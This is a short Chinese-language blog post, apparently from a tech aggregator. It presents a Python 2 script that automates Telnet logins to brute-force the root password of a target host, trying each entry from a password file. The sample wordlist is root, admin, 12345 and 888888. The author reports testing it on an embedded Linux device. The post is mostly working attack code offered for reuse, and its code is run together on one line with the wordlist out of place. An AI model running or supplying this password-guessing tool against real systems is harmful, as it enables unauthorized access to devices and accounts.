Python實現Telnet自動連線檢測密碼
阿新 • • 發佈:2019-01-10
最近在學習Python網路相關程式設計,這個程式碼實現了Telnet自動連線檢測root使用者密碼,密碼取自密碼本,一個一個檢測密碼是否匹配,直到匹配成功,螢幕輸出停止。
程式碼如下:
密碼本pw.txt,內容例如:#encoding=utf-8 import telnetlib import time import sys import os def do_telnet(Host, Port, username, password, finish): #連線Telnet伺服器 tn = telnetlib.Telnet(Host, Port, timeout=1) tn.set_debuglevel(3) #輸入登入使用者名稱 tn.read_until("login: ") tn.write(str(username)+'\n') # 輸入登入密碼 tn.read_until("Password: ") tn.write(str(password)+'\n') # 判斷密碼錯誤提示,如果沒有這個提示說明登入成功 if tn.read_until(finish): print "****** login incorrect!\n" tn.close(); if __name__=='__main__': Host = raw_input("IP:") # Telnet伺服器IP Port = raw_input("Port:") # Telnet伺服器埠 username = 'root' # 登入使用者名稱 finish = 'incorrect' # 密碼錯誤提示 pw_file = open('.\\pw.txt','r+') #密碼檔案 Index = 0 print time.asctime(),": ****** begin","\n" while True: password = pw_file.readline() Index +=1; print Index,time.asctime(),": ****** try","",username,":",password,"" if len(password) == 0: break; do_telnet(Host, Port, username, password, finish) pw_file.close();
root
admin
12345
888888
輸出如下:
注:我這邊測試的目標主機是嵌入式linux系統,使用者名稱是root,密碼錯誤返回的是incorrect提示。你可能要根據目標系統不同修改使用者名稱和錯誤提示。